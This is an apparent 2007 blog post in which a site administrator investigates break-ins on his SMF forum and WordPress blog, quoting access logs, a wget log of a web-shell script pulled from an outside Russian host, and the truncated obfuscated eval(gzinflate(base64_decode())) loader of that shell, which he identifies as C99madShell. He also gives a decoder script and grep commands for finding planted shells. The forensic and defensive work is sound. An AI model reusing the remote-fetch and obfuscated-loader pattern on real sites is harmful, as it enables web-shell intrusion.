Hack | DeveloperSide.NET Blog

It could have been worse.

A few weeks ago we were hit with an SMF v1.1.3 exploit just a few days after the release of v1.1.4. The intruder inserted a slew of hidden spam links into the main ‘index.php’.

It took me a day or two to detect the modification. And in this short time period forums.devside.net, which has been online since 2003, with a healthy Pagerank, had all it’s pages dropped from Google [with the exception of profiles and archives].

It’s a good thing I keep the forums on it’s own sub-domain, which Google treats more like a separate domain than anything else. A SE problem with the sub does not affect the main domain.

As a counter-measure to these “exploit app weakness, get shell, d/l script, profit” type of attacks, I disabled most of the shell related PHP functions.

And so I thought my problems where solved…

This time it’s my fault. I was running WordPress v2.2.2, with v2.2.3 having been released about a month ago. I’ve been checking the WP dashboard, but I must have missed it, or forgotten about it.

This time the intruder exploited one of many WP weaknesses, and inserted some type of a hidden “-1″ post that was nothing more than an attachment to this particular shell-script, executed with URL ‘/blog/?poncheg’…

217.118.81.46 - - [08/Oct/2007:07:10:20 -0400] "GET /wp-includes/js/tinymce/wp-mce-help.php HTTP/1.0" 404 520 "-" "-"
217.118.81.46 - - [08/Oct/2007:07:10:25 -0400] "GET / HTTP/1.0" 200 12071 "-" "-"
217.118.81.46 - - [08/Oct/2007:07:10:35 -0400] "GET /blog/wp-includes/js/tinymce/wp-mce-help.php HTTP/1.0" 200 7665 "-" "-"
217.118.81.46 - - [08/Oct/2007:07:11:01 -0400] "POST /blog/xmlrpc.php HTTP/1.0" 200 4327 "-" "Opera"
217.118.81.46 - - [08/Oct/2007:07:11:49 -0400] "POST /blog/wp-admin/options.php HTTP/1.0" 200 1647 "http://www.devside.net/blog/wp-admin/options.php" "Opera"
217.118.81.46 - - [08/Oct/2007:07:11:56 -0400] "POST /blog/wp-admin/options.php HTTP/1.0" 302 904 "http://www.devside.net/blog/wp-admin/options.php" "Opera"
217.118.81.46 - - [08/Oct/2007:07:11:59 -0400] "POST /blog/wp-admin/upload.php?style=inline&tab=upload&post_id=-1 HTTP/1.0" 200 1554 "http://www.devside.net/
blog/upload.php?style=inline&tab=upload&post_id=-1" "Opera"
217.118.81.46 - - [08/Oct/2007:07:12:14 -0400] "POST /blog/wp-admin/upload.php?style=inline&tab=upload&post_id=-1 HTTP/1.0" 302 509 "http://www.devside.net/b
log/upload.php?style=inline&tab=upload&post_id=-1" "Opera"
217.118.81.46 - - [08/Oct/2007:07:12:25 -0400] "POST /blog/wp-admin/options.php HTTP/1.0" 200 1629 "http://www.devside.net/blog/wp-admin/options.php" "Opera"
217.118.81.46 - - [08/Oct/2007:07:12:30 -0400] "POST /blog/wp-admin/options.php HTTP/1.0" 302 904 "http://www.devside.net/blog/wp-admin/options.php" "Opera"
217.118.81.46 - - [08/Oct/2007:07:12:33 -0400] "GET /blog/wp-admin/upgrade.php?step=1 HTTP/1.0" 200 1446 "-" "-"
...
82.103.135.182 - - [08/Oct/2007:07:12:48 -0400] "GET /blog/?poncheg HTTP/1.0" 200 4789 "-" "Opera/9.22 (Windows NT 5.1; U; ru)"
...

whois 217.118.81.46
JSC "VimpelCom" WLAN1 Moscow
 
resolveip 82.103.135.182
Host name of 82.103.135.182 is vps206.fastvps.ru

Luckily, in addition to the disabled PHP functions, I also had all my file/dir permissions under WP locked down, so it does not look like anything was modified. I still recreated the entire WP directory, just for safety sakes, and had to manually go into the database and delete the hidden attachment/post.

It’s not a matter of if you are going to get hacked, it’s a matter of when. So keep those web apps patched!

There is nothing quite like innocently checking over your httpd logs, attempting to figure out why the ‘preview’ feature of your forum s/w has stopped working [stuck on 'fetching preview...'], only to come up to this…

--09:57:23--  http://kotzilla.jino-net.ru/include.txt
           => `include.txt'
Resolving kotzilla.jino-net.ru... 217.107.217.29
Connecting to kotzilla.jino-net.ru|217.107.217.29|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44,348 (43K) [text/plain]
 
    0K .......... .......... .......... .......... ...       100%   69.60 KB/s
 
09:57:25 (69.60 KB/s) - `include.txt' saved [44348/44348]

For those that do not know, the above translates to using wget, or the equivalent, to download a script to your system. With all this being done via Apache and usually from a simple URL designed to exploit a weakness in the given application.

My journey starts here.

Step 1.

1	find / -name include.txt

Nothing. Intruder must have deleted or renamed it.

Step 2.
Check http://kotzilla.jino-net.ru/include.txt for clues.

<?PHP
             //Authentication
$login = ""; //Login
$pass = "";  //Pass
$md5_pass = ""; //If no pass then hash
eval(gzinflate(base64_decode('HJ3HkqN..[removed]..f/79z/8A')));
?>

Intruder must think this is clever. Once you decode and inflate the string, it returns…

1	eval(gzinflate(base64_decode('[another string to decode and inflate]')));

Step 3.
We do not want to execute any PHP code that is an unknown. The only option left is to write a PHP script to decode/inflate until we get at the center…

<?php
$string = "eval(gzinflate(base64_decode('HJ3HkqN..[removed]..f/79z/8A')));";
$pattern = '/^eval\(gzinflate\(base64_decode\('([^'\);]*)/';
$count = 0;
while (preg_match($pattern, $string, $matches) )
{
$count++;
$string = gzinflate(base64_decode($matches[1]));
}
echo "Decoded/Inflated:$count\n";
echo "$string";
?>

Seems to be some type of a web php shell script called C99madShell.

Step 4.
We need to locate the downloaded script…

1	find / -name '*.php' \| xargs grep 'eval(gzinflate(base64_decode('

1	/.../forums.devside.net/Themes/readme.php:eval(gzinflate(base64_decode('HJ3Hkq...

Not good!

Step 5.
Check logs.

1	grep 'readme.php' /.../forums.devside.net/access_log

Intruder was up to something no good.

149.156.204.1 - - [26/Sep/2007:09:57:38 -0400] "GET /Themes/readme.php HTTP/1.1" 200 4374 "-" "Opera/9.21 (Windows NT 5.1; U; ru)"
149.156.204.1 - - [26/Sep/2007:09:58:00 -0400] "POST /Themes/readme.php HTTP/1.1" 200 3501 "http://forums.devside.net/Themes/readme.php" "Opera/9.21 (Windows NT 5.1; U; ru)"
149.156.204.1 - - [27/Sep/2007:13:08:03 -0400] "GET /Themes/readme.php HTTP/1.1" 200 4366 "-" "GoogleBotv2"
149.156.204.1 - - [27/Sep/2007:13:09:24 -0400] "POST /Themes/readme.php HTTP/1.1" 200 4980 "http://forums.devside.net/Themes/readme.php" "GoogleBotv2"
...

Final Analysis.
I’ve search the logs, and I cannot locate anything helpful about the exploit. It does not seem to be an exploit in a URL, maybe POST related, or has something to do with the SMF theme function. I run no mods, and use the default theme, and do not allow users to switch themes.

The latest SMF 1.1.4 changelog does not state anything about fixed exploits.

I know the IP of the intruder [I'm sure just a hijacked system], the user_id on the forum, the mail account used for activation, but not much anything else.

1 2	resolveip 149.156.204.1 Host name of 149.156.204.1 is nzs.agh.edu.pl

1
2

149.156.204.1 - - [26/Sep/2007:09:52:58 -0400] "GET /index.php?action=activate;u=1992;code=136bd7eb0f HTTP/1.1" 200 3409 "http://www.qcsalabama.com/mail/src/
read_body.php?mailbox=INBOX&passed_id=685&startMessage=1" "Opera/9.21 (Windows NT 5.1; U; ru)"

Checking the forum account, I see this user has also logged in via another IP [and this might be where the exploit starts]…

83.219.135.75 - - [26/Sep/2007:09:48:07 -0400] "GET /index.php?action=register HTTP/1.1" 200 5961 "http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all&
q=+%22powered+by+smf+1.1.3%22+site%3Anet&btnG=Search" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7"
...
83.219.135.75 - - [26/Sep/2007:09:57:07 -0400] "POST //index.php?action=login2 HTTP/1.1" 302 851 "-" "Mozilla/4.0 (compatible; Windows 5.1)"
83.219.135.75 - - [26/Sep/2007:09:57:09 -0400] "POST /index.php?action=post2; HTTP/1.1" 200 375 "-" "Mozilla/4.0 (compatible; Windows 5.1)"
83.219.135.75 - - [26/Sep/2007:09:57:11 -0400] "POST /index.php?action=post2; HTTP/1.1" 200 1527 "-" "Mozilla/4.0 (compatible; Windows 5.1)"
83.219.135.75 - - [26/Sep/2007:09:57:23 -0400] "POST /index.php?action=post2; HTTP/1.1" 200 307 "-" "Mozilla/4.0 (compatible; Windows 5.1)"

1 2	resolveip 83.219.135.75 Host name of 83.219.135.75 is ppp135-75.tis-dialog.ru

I can understand phpBB getting rooted, I can understand WordPress being owned, but this is a first one for SMF.

And for anyone having odd issues with SMF [like getting stuck on 'fetching preview...']…

Smile. All your SMF forums have been hacked. Have a nice day.

Search ‘fetching preview’ on the SMF support forums. This hack/exploit might be going back years.

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